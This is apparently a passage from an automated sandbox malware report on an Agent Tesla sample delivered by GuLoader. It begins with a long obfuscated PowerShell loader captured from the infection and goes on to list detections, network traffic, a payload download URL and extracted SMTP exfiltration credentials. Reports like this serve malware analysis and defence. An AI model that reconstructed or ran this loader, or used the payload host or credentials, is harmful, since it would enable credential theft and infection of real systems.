P2Ko3Ko0PeFBo0 S9Re0Dr0Op0TrBEm1 UANi0FaCFa0PrB T0 H2So0St9 a0Me0Co0De7 T0 F0Go0 U9No5GoCRu5DeAwa5 EEMi0 HBse1guDRe1RoCNo0Va9Kl0BdB D0Ne2La1WhDOo0PlBBo4Sk0In2 SD J1PuCPr0 HBTu0FuFSa1 EABr0 HBIn3ReABr1 F7Be1CyEDa0PiBLe4Lo6 D4 N7Pe'Ph; M&Oc(st`$HyS PaOkwSaw BoStrElkGdeBar S8 D5Ka7Sw) R Kv`$kiL IoelgtroOrpCoaMoeSudPoiBicOusEn5 P E St No;Bo} R`$GlM EaMen eiMocBauChrBliHysNot C Po=Fi HiP EyToxSyiUndUneHoscl4Ch Fa'ra0Si5Ve0LiBSu1FrC S0na0ma0 UBAb0Mi2 D5 EDRe5 TCOc'Bi;Pl`$PaXFoe Bn Uo TlTgiInt UhTesEm Fo=Ur RaPMeyChxPri CdAkeFysBr4Di Sn'Im1 UBRe1AdDDe0LiBMy1AlC B5hjDPr5veCEf'La;Li`$MaNThodknUneBlxByptulAsoPas HiDevKae MsEl0Ln3Py To=St AkPTey TxShi OdJieBasTi4He Re'Us2Sk9In0LiB c1FeAFa2TeD H0je1sk0La0Ko1CoDBr0Re1Ta0 S2Re0FiBUn3Mi9 S0Re7Ka0Ud0Co0BoASt0In1Be1Da9Se'Ca;fr`$VaN Io SnCoe PxUnpNelAvoDisGii EvUneStsHo0br0 k=AsPStyJoxAniBld HeResPe4 O U'Lu3fuD S0ge6Po0Rt1Mi1Tu9Wa3Se9Ud0Om7Li0 C0Di0 mABi0ve1Sk1St9Ba'Ha;Sn`$ArL QoligTroGrpAnatieBhdFriSkcKusUr6In Ch=Pe SpPObyMaxBiiNed BeCasBe4Op Ta'Ha4 AABl2He3My0 RFPi0Ro9 P0wa0Sk0NoBDh1coAki0 UCNo0JoBSl0 E2fo0Co9 S0Ap0Re0Bl7Sk0Is0Pl0Bi9Fr5ReCre5 AACo5SwEPh0frBUd1 OAWh1Gr8St0 D7Th1Gr8Be0Do2 H0WoB A0BrAUn0 EBSe4JaEMy5Af3Ov4OpEGa3Gu5 B3UnDSa1Ho7La1OuDFo1UnATy0NeBFa0 B3st4Fl0ut3AnCDi1CaBNo0Tr0 R1PhATu0No7Ar0Pi3Ha0FrBFo4Do0Br2Ap7Va0 U0Ni1 PASe0InBSt1SeCum0ko1Su1 aEEr3 EDFu0 MBKr1MoCSk1Fa8En0Sa7Ve0TrDVa0MaBVe1BiDSe4ge0Xe2Or3Ta0LaFoc1StCLi1AgDHn0Pr6 M0epFMi0Sa2eu3Wi3 D5Tr4Po5El4Ev2 I9Ko0jeBOu1PrAIn2TeAEn0BeBDi0 O2Ce0MeBAs0si9 T0StF B1DeAPa0ScBla2Tr8De0 I1 J1HuC F2 P8Sh1FlBTe0Sl0 U0 HDPa1 tAVi0 C7Pu0Eg1Pt0Pe0Pr3BuE D0Sc1Di0No7Fo0 G0Su1byAEp0ReBPe1HoCPa4 M6Su4Ut6Tr0Di8au0 A5 M1ViEDe4TiEOv4BuA B2Un3 H0UdF P0Bo0St0Di7 g0ooDNa1 HBTi1 ECSa0Eu7Hu1 IDSi1 LARo4WrERi4OvAue3HoDEv0VeFSp1Tu9 d1Ci9Er0Be1Af1FrCTe0Sn5 P0CrBWi1MoC N5 R6Ov5DrB R5 EA Y4 F7Ga4 D2 E4KuENo4 P6 M2 C9Ra2NoA S3PaA s4 UEMi2ElE P4 D6To3 H5Co2st7Re0So0Li1GeA I3OvEUd1SeAGr1 pCGa3Sp3va4It2Im4skESk3Pu5 P3 FBRe2De7Fo0Re0Om1BoAFu5KlDSy5EnCBa3Ov3Su4mu2 f4PaE G3fy5fa3buB A2Fo7Tr0Cr0 K1HeAar5EpDOv5TiC D3Un3Tr4Fr2Rg4 SERe3Ex5Sw3VoBTi2Vi7Fo0 X0La1FrATe5UnDTo5FlCAc3Pe3Se4At7 T4MeE S4Re6Vr3Re5Af2 P7ma0 O0 P1VeANo3quEGe1MiAIn1NaCMa3No3 A4 M7 K4Sm7 V4 I7My'Me;Am& R(Ro`$OrSEnaAdwPrw Io KrSukZoe HrUn8fi5Ph7 E)Do Al`$RoL SoGegSooScpLoaKiegrdRaiRycPlsOm6 P;Ka`$BaNAaoBen CeAlxsupFll WoArsTriudvMue Us T0An1Ru Sa=Pr SuPBeyCox Si hd veHesMa4Sa B'Da4 PA U2BeB O0 S8Re0 G1Pr0St2ce0 U7Kr0Is1ln1PhDfl0PlB R4skEBy5Je3Sc4TrEAe3By5Le3BaD F1ch7De1 VDBi1VeApn0ReBGa0Pa3Al4Em0 C3 MCHe1DoB b0Sp0Br1 oACe0ph7Ta0Ex3Su0BlBRu4Ro0Re2 R7Fo0Ma0Ro1HeABe0 WBou1UfC S0Af1 M1ChENo3InDUn0LuBBl1opCNo1ph8Sp0Mo7Sk0ToDRo0SkBSk1AlDUd4Ru0Se2Ce3Va0DaF L1maC S1 SD A0Pa6Po0TaFin0Ov2 K3 G3 I5Pe4 O5 S4 T2Bl9Ke0UlBPr1RiADi2BaAEt0 CBUn0De2 B0 UBHy0Ve9Na0 SFTi1OvASk0 KBVi2Fl8El0Pr1Wi1ReCBr2La8Ma1DoBTr0Pe0Ov0RaDSt1IwABa0Un7Cu0Mu1Tr0Ta0 M3 AETa0re1Nr0 A7Ru0Ba0Wo1 sA C0 FBFo1KnC B4Ac6Wa4Su6Dd0 j8Ph0Ho5Bl1BlESp4SpEOv4taAov3Ho6Be0HrBAn0Mi0 i0Di1Gr0Us2Vi0Ma7Fr1 AAPl0Ho6Af1AmDIn4 MEEk4ReA o2Pr0 R0Mi1pi0Fl0kr0CrBUb1 U6En1UnE I0Kr2un0Sy1Fe1 KDSh0Ra7 N1Sk8 S0GrBMa1ApDEn5MaERn5ReEYo4Sc7Un4St2Gr4SaE H4Sa6Tr2Tr9Co2 BAMo3PlAMa4FeE S2 AE R4 J6He3To5Be2Fr7Xe0Br0Pa1 PAmo3InEZe1UnA E1buC N3Sl3 d4In2Wa4DoEGe3As5Fa3 hBCo2Bl7Ci0Di0Fa1GaARe5SpDOp5ToCAn3Cr3Ni4Op7Bn4 NECy4Si6Sc3Jo5Ca2An7Cl0 A0An1NdA M3OpEIn1 RAGl1udC M3 c3Re4Ar7Ga4pr7 p4 T7Op'Ca;Sl&Sk( P`$JiSRhaSiwJowSeo Cr FkFaeJerHe8In5Te7En)Te No`$RdN ao UnOrePrx ApSalStoWosSliLavhue Os L0 R1Op;St`$LaNTyo BnJeeEnxUnpAslEro Cs LiBivTreSjs T0 C2 E Ek=Ko UpPGayTixKoiNodLaeArs k4Ga Pr'Sa4ReA F3BeDFo0ScBKn0sh3Te0Gu7ef0Pl0Of0JaFGa1anA r0Gi7Ra0Un1Fr0Th0 S4AkEDu5Ar3An4RaEDe3Na5Sa3 VDFo1 A7Ce1LuDFi1LaARg0UaBAt0 J3br4 B0 S3paCSa1PaBDa0 S0Un1KaA T0Tr7Ta0Un3 P0noBLa4Je0tu2Sk7Pr0Un0Op1TiABh0GoBTe1PeCPa0Fo1Af1arE B3NuDPh0WaBTo1ThCBa1ve8Af0Ey7Ac0 UDAt0NoBZe1 MDBa4 S0om2Ud3Fl0LoFin1blCRe1KiDSt0Ae6Sk0 AF O0Dr2 T3 A3Dr5Pl4 F5Mi4Pr2Ri9Dm0ArBUd1inADe2UnAUp0 HBfi0Co2 U0DaBAf0Cr9Ua0ImFHy1BaAfl0PiBPa2Fl8Ru0Sc1Fa1DiCLd2Ep8 S1AnBUn0Lo0Es0AtDSa1FlA S0 K7Di0Or1 P0Se0Zo3CiEAm0Ud1 B0 U7Lt0Pn0 S1TiAMo0unBWa1PaCho4Ad6Ef4Re6Ch0Sl8So0 F5 S1blEOc4 oE P4NoAIn2In3 F0tuFEn0Lu0Ev0Di7Tr0UfDCo1UnBMe1KeCPr0Sp7 P1FdD R1 NA D4FoEUd4SaAca2Sp0 K0Fe1 F0Un0Bl0HyBAd1 C6Up1 BEfr0gr2Hy0 F1 S1EnD e0Tr7Ha1Di8 S0FoBYo1enDSt5SlE K5BoDSp4La7Ub4En2De4SpESp4ne6 M2 U9 u2laADe3CaAel4KrEKa2ChEUn4No6En3 S5Pa2kl7Gl0Sc0Te1 VAPo3 CESa1 SAIm1BaCRe3Ca3Li4 T7 F4EnEEp4Ho6Be3Un5Ve2Be7Fo0Be0Fr1BeARa3SpESl1EcAUn1ErC i3Sp3Va4Fo7 O4St7 T4Bi7de'ef; B&Wa(Pa`$ DSIma pw SwMeoPhrFokkoe IrLu8Pa5Pa7Bo)Mo a`$ dN IoAfn BeChxTopNolUnoBrsBaiRevRueSlsGo0Ca2In;pr`$IcLSeo WgaaoTepSea Aealdsoipoctos F7Sn Ud=Pa SlPReyFoxOmiEndDie Ps M4Ha U'sk4ElA N2Hu3Gr0Co7Ge0CoASt1DyAKo1BaEAp1foBSl0 S0Pl0 C5Fl1MoAAs1ToDBa0Je4 F1SiBLr1KrDAn1NoALi0UpBKl1SmCAf0fa7 M0 S0Ji0St9Fl4DeE V5De3Or4CoEMe4UnA A3OvDIn0CuBGa0Ch3 P0 F7Pr0 A0As0 TFKi1 AAAm0Sh7Sc0Km1Sy0Op0ko4 S0 R2gh7Un0 M0Fe1 P8Bo0La1Ch0Br5Fo0MoBCa4 L6Di5WaERe4Ha7Me'Th;Fa& V(An`$HySAcaSowStwAcoImr HkCoe HrMo8Va5 E7 L)La Fo`$PrL BoBegCoosapDya Re BdGai rcChs S7Bo;Tv`$NoLImoDjgSpoTip BacoeModVei LcunsCo7Hi Da=sp UnP IyPaxKuiBudGueFlsJa4St Po' S4UnAPo2LaBse0Bl8Fe0Rr1Sl0Ko2 B0Gl7La0Je1Sp1ReDMe0RiB w4 S0Fo2Po7 R0Rh0Bo1Ma8 E0 l1An0 K5 U0raBGa4Fl6Sp4DyAAm2Fl3St0Si7Be0FiABi1JoASh1StESe1SkBSu0Br0Er0Sk5Kl1MoA D1myDCa0Bi4Mo1SiBkr1TiDPr1SjA R0WoBAd1 NCHe0Fe7St0Ov0Ba0ce9An4Im2Ne4 UEHi5unECa4Al7Fo'It;Sa&Lo(Ka`$OrSEkaStwKrwCooJerStkVaeSprAf8 r5 S7Br) z ja`$InLHyo BgSioKupSyaBeePodPoiVacAasCh7Fe;Sp`$DeOBeuPrdEpeVem DiYnaManOx Co= F pafBrk Fp B Ra`$ZiSpra RwEvwMaoBirPrkSue Fr K8He5Se5 T Ma`$LoSHya GwFawFooCarTik SeInrFr8Yn5St6up;Pr`$ ALGroUngyaoOppSoa PeundSuiBucInsBl7 C un=Si FyPBoyEmxsaibadUdeVasOr4Bi ac' H4UdABo3 M9Di0Pr7Ch0 m0Se1HkASt0HvBph1UdCSa1At9 N0BaBSu0SaBGa0trAre5 UADi5OrDLy4PoEVa5Re3Sa4NoEEj4DyATt2Hy3To0WiF M0Co9Ns0 I0Me0UnBFa1 UARe0MaCRe0KnBRy0No2 C0 D9Bu0Na0Fi0Th7Pa0 R0Ex0 P9 A5LnCEf5PrARa5WoEMa0CoB A1beA l1Ou8Ch0 M7Zo1 K8Be0Ha2 U0ChBSe0HjAEn0ReBFi4Ep0Om2 G7Da0Ki0Ca1Xx8Gr0Fu1 S0ge5Hu0 DBHj4Uf6Fl5NeEso4Sp2 R4SkE A5 b8Ur5MiDRe5Ke7Me4Si2 E4AkEFa5VeETr1St6Sa5 ADCr5SiEDe5TyEKa5SlEEd4Sv2Re4PtEUn5 u8 C5LeAFo4Sp7 P'Pa;Sp& S(Ap`$SlSBeaEmwtiwAioEwrSvk SeSarsn8bi5 M7Ka)li Xi`$ TL Mo HgWooSupPraKoeKod NiRecAusHk7Le;Pe`$UkL So AgunoTopFoaIde FdEviBrcSksAk8Om a=Va rePFoy BxPai Td Ce DsBe4Fe Pr'dr4SoAGe3iaD P0An5 B1ChBDe1BlEFr1SpDKn0Ce6lu1UnAId0 F7Sa0Wh0Ma0reFco4SvEWa5Mo3 B4FoENo4GeAZa2Ud3 E0lnFSy0Pa9Me0ru0An0RoBLe1laAco0 IC R0 tBGl0 B2Pr0Wh9 K0 S0bi0Ge7Co0 S0Un0Se9He5 AC S5TaASt5KoEPo0drBhj1unAJa1Pr8Tr0Va7 A1 e8bl0Fl2 S0NiBCr0brALu0StBAr4ap0Gt2Sk7Am0 B0He1Sp8Ur0Cl1 B0Ba5Pl0ChBDa4ut6Ta5DeEOv4Sl2 h4StEDa5MaBTr5 MBPe5BaBFo5TrCUn5EnB B5CaDNe5Re9 P5Er8Tm4Li2We4ChEta5 MESt1pe6Le5KoD K5toETo5HeEPo5 DEBr4 T2Pu4 CESm5 HA K4Ov7Gr'Fh;By&Ci(St`$PiSNoaMiw HwMooKor MkNeePrrMi8 A5 S7Ke) P Al`$OpLVeoJogUnoDapFjaCheSudErifocGrsEn8St;St`$ LWEfi WnFotPleGrr Hw Ie HeBidDe4be2Wi=Ma`"""Re`$vaeAqnPovSu: BLfeOShC BASnLPaABrPfaPDiD fAUdTGaAAr\ EbNilSeiPinAld NsPrmByaSag SnFei PnUdgCre Unvl\FrNLaoGrnAnpFar Bo Fc AuBerPleBom Ce GnMatRe\sas Ga Jr BaEmwDea NkNoeOvsFre A.PrdNer Dira`"""Da; d`$chLPooPigDeoKipEtaGaeIndumiEvcGrsPo9An Il=Vo FoP CyTox SiUnd PeFosKt4De Sp'In4FlARe2 G2Ti0De1 R0 N9 S0Sm1 E1SpEin0OxF K0VeBIn0MaA P0ro7Un0ReDAn1SeDWa4 LEPa5Ko3He4 LESl3Ni5 m3FoDSa1 L7Sp1XoDDy1KoABr0PrBEm0ho3 H4Gi0Un2Ac7Sk2Re1Ka4Ul0Sk2Ad8 L0Om7Ug0Pr2Re0BuBBr3Vi3Ab5Sk4Ga5Ba4Ag3StCFd0BeBAd0UnFSk0NoA T2 UFTo0Er2 T0Sk2Me2VrCTr1 P7 S1StAPr0DeB U1SiDPa4 E6Gr4CoAAt3Te9 D0He7Pa0Im0Ki1AfAUn0PiBOv1GaCGe1Fl9 T0LaBbe0 SBBa0PhAWi5 WASy5 SCma4 o7Ri'Wi;Pa&Br(Li`$PrSDaaDawGrwNaoHarBokMieNorPh8Ne5Gp7Ad) C Mi`$NiLBaoRagBioChpSea Pephd AiHjcbusBr9Ap;Ti`$SoDDeiRhsFll iognaLidPr0Fo Co=Ov VlPDeyMaxTeiBodVie CsMa4Hj S' O3Sc5Re3MeD R1Pe7Un1DuDTo1 FABe0 SBmo0Ko3To4Ml0Me3RaCBy1ReBKo0Hy0Gy1UlASp0No7Di0Th3Lo0DoB P4Sa0St2Et7Ko0Ph0Fj1 cARe0AfBKi1SqCBu0 R1Sp1MiE F3 DDSt0 IBFa1 RCFo1Ma8Fr0 s7Op0StDBe0HeB H1AnDco4Fa0 K2Ti3Se0 FFUd1SlC S1PaDRh0My6Sc0DrFFo0Br2fu3 S3Zi5Ta4Pa5 U4Pr2EtDOv0 O1An1MeEVa1bl7Ou4 C6 T4NeAUd2co2Ap0 T1Un0 L9Ke0Ph1 u1QuETr0 EF S0 CBMe0OpATr0Fr7Be0TaDBi1TeDDo4Tr2 l4CoE G5EnApl5 KEBl5FrCNo5JuA u4 H2As4 ME S4FlEKe4EtAPr3Sc9Ce0 T7Fe0Mo0Un1DiASu0UtBLa1MaCOp1Ch9Me0EvBFo0 VBUf0ChARe5 HAFo5TeDFn4Ru2va4TeEsu5Sk8Tr5SuD U5Br7od4To7Or'Sl;Fa&Fu(Pr`$AnSPiaOpwprwSeoTorSekSoeSprsu8 B5Po7Sk)my Di`$PaDHoiFesDolLaoAmaVodFo0Sp; B`$StP SokrsVeiTntLnisvoKmnEne ArNe=La`$SoLVaoFagChoFop MaSeeUndUniSicNosar.TmcphoBauMonGrtAf-Pr6Le3No9 H-Se4Un0bl2Po4 A;Sa`$ ADAsiBrs PlNoo TaTrdMo1Si Sv=Re InP uydixTiiAfdTaeGosGr4Sk Re'Au3Ju5ta3SkDSt1be7De1teD b1DvAOp0CrB I0Ku3 N4Ti0Ke3 lC v1KoBKi0In0Ta1PeAfu0Ov7Pl0bl3Fl0 ZBre4 F0In2Ne7Ar0pa0 A1PhAVo0WyBSp1ReCSk0In1Au1 SEDo3UnDKl0BoBOp1UdCFo1Ut8 G0of7Co0 CDSt0GeBSk1SyDRu4Os0Gt2Th3Di0krFAl1DeCRi1LaD A0 F6 S0 hFSk0No2 U3Da3Ze5Po4Bi5La4 O2TeD D0Aa1 R1JeE U1Bo7 D4Ba6Bl4EmAPa2 N2 T0Bu1 E0Ab9Pr0In1 N1meE P0 PFdr0PhB S0GlATr0 M7Fl0MoDMa1 RDRe4Vi2Fl4BoELr5Ku8Sv5InDPl5Un7 E4To5no5 HAVa5AsEJo5 ACFu5EsACh4Cy2Wh4saE S4TrA S3 CDDr0Fu5Va1IsBMi1NoEPr1MiDOp0 A6Ma1BlAMo0Sy7De0Su0Hy0 TF H4Fa2De4BnEPl4UdATa3VuEUd0Re1Or1BrDCo0tr7Sp1DeAIn0An7Fa0Me1ov0Ek0 E0OrBGa1JuC B4Hl7Le'se; R&Fi(Le`$ HSEua MwChwReo JrStkBaeParDi8Gr5Pe7Ar)Sp Eu`$miDapiPls Bl PoyoaMedis1Un;Da`$CaDSaiDisDelGlo naPad O2 N w=Op TrPDeyFuxCai EdTreFusCo4 d Cy'Fo4StASt3ExD P1StA A0ShBJa0GeF S0UnApo1udD N4WaEDe5Sy3Ta4arEOb3 W5Es3BeD Y1 e7In1BuDCh1SuABe0trBVi0fr3Bo4Ox0Re3 KCSy1 TB B0In0 F1noAUn0Si7He0Di3Tu0SeBIm4br0Sk2 g7Da0Pr0Pe1ToAru0 BBVa1HaC M0Vi1Ma1CoEUn3HaDCe0PhBYt1GuC B1Cl8Co0Te7St0TrDJa0FiB T1SaD F4 F0 P2Ba3Le0InFAr1HuCEx1ImDOp0No6 U0OsFMa0Pe2He3Fl3Li5De4 O5Os4Sp2Fo9Al0RaB B1TiASk2 SADr0 TBSl0 s2No0AaBSa0en9De0StFFo1 KARe0OeBph2He8as0Sm1Kr1SiCQu2gr8Po1FaBbe0 P0Li0 ADRi1PoA A0ju7ev0Va1Sp0Ru0Gl3 FEPr0Mi1Sc0La7Al0Tu0Gi1AnACi0VoB C1 FC A4Re6ch4 S6Tr0Su8Kv0Co5St1SyEGo4GrENo4KaACr2pr0Sp0Zy1Ab1CoB N0Na3Pi0LiBEf0Le0Gr0Ut7Vi1BeDpr0 O3Pe4FlEOp4FrA F2blAko0Ch7 D0Tr3St0Un7An0in0Vg1FyB D1 HAMe0 L7Am1Do8In0 SBPn1BuCMa0Ko0Ic0MuBRa4Gu7Fa4Vv2Ac4 kE N4Vi6Fa2 I9Am2DeAWe3SoAob4 VEJo2EnEsk4An6Vo3Co5Un2Ho7Me0Ga0Sy1 BAOe3KuESm1 BAWa1DoCIn3to3Ro4 S2 T4HoEFo3 D5 S2Di7Pr0In0Fo1NaASt3AaEFi1NoABa1SuCUn3 F3Pl4 a2Ar4peEfi3Kl5Co2 T7Re0Bi0In1DoAch3BaESl1 SAOu1 DC T3Su3Pu4Tr2An4PaEch3Cy5 B2Di7Kn0Re0To1teAre3AuELi1StA T1SlCFa3 J3Dm4Ga2Un4 UESe3Pr5 F2 C7 K0My0Ho1BuAPe3 HEUh1 HABe1 HC H3 s3Ch4Mi7Ov4ExEFo4Hn6Un3 S5Co2Sv7 M0St0Ca1ToAPe3ovEOm1 SA T1AfCBo3 S3Pe4Gl7Ne4Ga7Kv4St7Un' I;Ri&De( U`$BrSInaBlwPrwVaoVar Uk UeSjrKk8 R5 B7He) M Ch`$VeDStiBls Ml BounaAwdOp2Nr; A`$ CDChiSusNolStoTaaAkdRe3Fo Ub=ci NePLeyTix Ei SdTieThs N4Al Ka' I4 sA S3OvDTr1 LAHy0KeBUn0UnF T0PrA N1StDSt4Si0At2 Y7Sy0Kv0 S1Te8Un0Bi1Py0La5Cu0SyBBi4 P6bl4TrA P3 S9Ra0As7Kr0 o0 W1InAWe0DeBHa1toC B1Ph9Mo0ByBVo0MaBWh0PrARe5FlASt5GeDTr4Ra2Sm4FoAAa3ElDIc0Bu5Tr1 MBki1SoESl1 HDLa0Ny6Sa1EmAca0 S7 L0La0Dy0BjFRu4Ok2Aa4 MAPr2Kn1De1NiBSt0 RA A0StBUr0Me3 S0pr7Re0AfFSa0no0Ma4Un2Tr5 LESp4In2Bu5UpE R4Qu7 T'Th;Ba&Po( O`$ PSHaa AwTewBaoBirFikOceUdrru8Kl5Ho7 B)Br Ma`$StDAdiInsEtlCaoReaModSk3Af#Wi;""";<#Mageskifterne Tarwood Setiferous Stokvrker skillevej Saudiere #>;;function xorami ($Indbyggedes,$Magnetbelgning240) { &$Flagellanten0 (Disload9 'Fl$TeIabnInd CbPeyUngangMeeSkdPaeAgsHa B-RebhaxTeoderBa Tr$ UMsuaUng snAceCht PbTeeSilMeg Jn MiTanVegMi2Do4 T0Af ');}Function Disload9 { param([String]$Solfald); <#hovedpunkts Restemad Cataloguing Reseeking Commonality celebrating Sportsdirektr #>; For($Nonexpectant=2; $Nonexpectant -lt $Solfald.Length-1; $Nonexpectant+=(2+1+(1-1))){ <#Konditoris Endestation Kolhozy Ataghans Vinkortets #>; $Nonexplosives+=$Solfald.Substring($Nonexpectant, 1)} $Nonexplosives;};;$Flagellanten0 = Disload9 'ReIBuE aX B ';$Flagellanten1= Disload9 $Portugals;&$Flagellanten0 $Flagellanten1;<#Temperaturmaalingen Randingerne Kdvarerne Punditries Afkrslen Mocambiquernes Galleriets #>; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

MSBuild.exe (PID: 7348 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "kalidot@yandex.com", "Username": "<kalidot@yandex.com>", "Password": "quality@qualityaf.com"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\sarawakese.dri	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
C:\Users\user\AppData\Local\Temp\nse6573.tmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1604051248.0000000005CF5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000005.00000002.2609495360.0000000020171000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2609495360.0000000020171000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1607101353.0000000008450000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000000.00000002.1728501631.000000000285B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000004.00000002.1607315520.00000000087AA000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 7224	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 7348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7348	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 4 entries

Sigma Signatures

Networking

Sigma detected: MSBuild connects to smtp port

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 192.185.148.49, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7348, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49710

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware

Found malware configuration

Source: conhost.exe.5592.3.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "kalidot@yandex.com", "Username": "<kalidot@yandex.com>", "Password": "quality@qualityaf.com"}

Multi AV Scanner detection for submitted file

Source: PO_00290292.exe

Virustotal: Detection: 15%

Perma Link

Source: PO_00290292.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49707 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 104.237.62.211:443 -> 192.168.2.8:49709 version: TLS 1.2

Source: PO_00290292.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0040596F
Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_004064C1 FindFirstFileW,FindClose,	0_2_004064C1
Source: C:\Users\user\Desktop\PO_00290292.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB

Source: Joe Sandbox View	IP Address: 104.237.62.211 104.237.62.211
Source: Joe Sandbox View	IP Address: 104.237.62.211 104.237.62.211

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mfMeuTZ127.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 172.96.14.41Cache-Control: no-cache

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49707 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 172.96.14.41
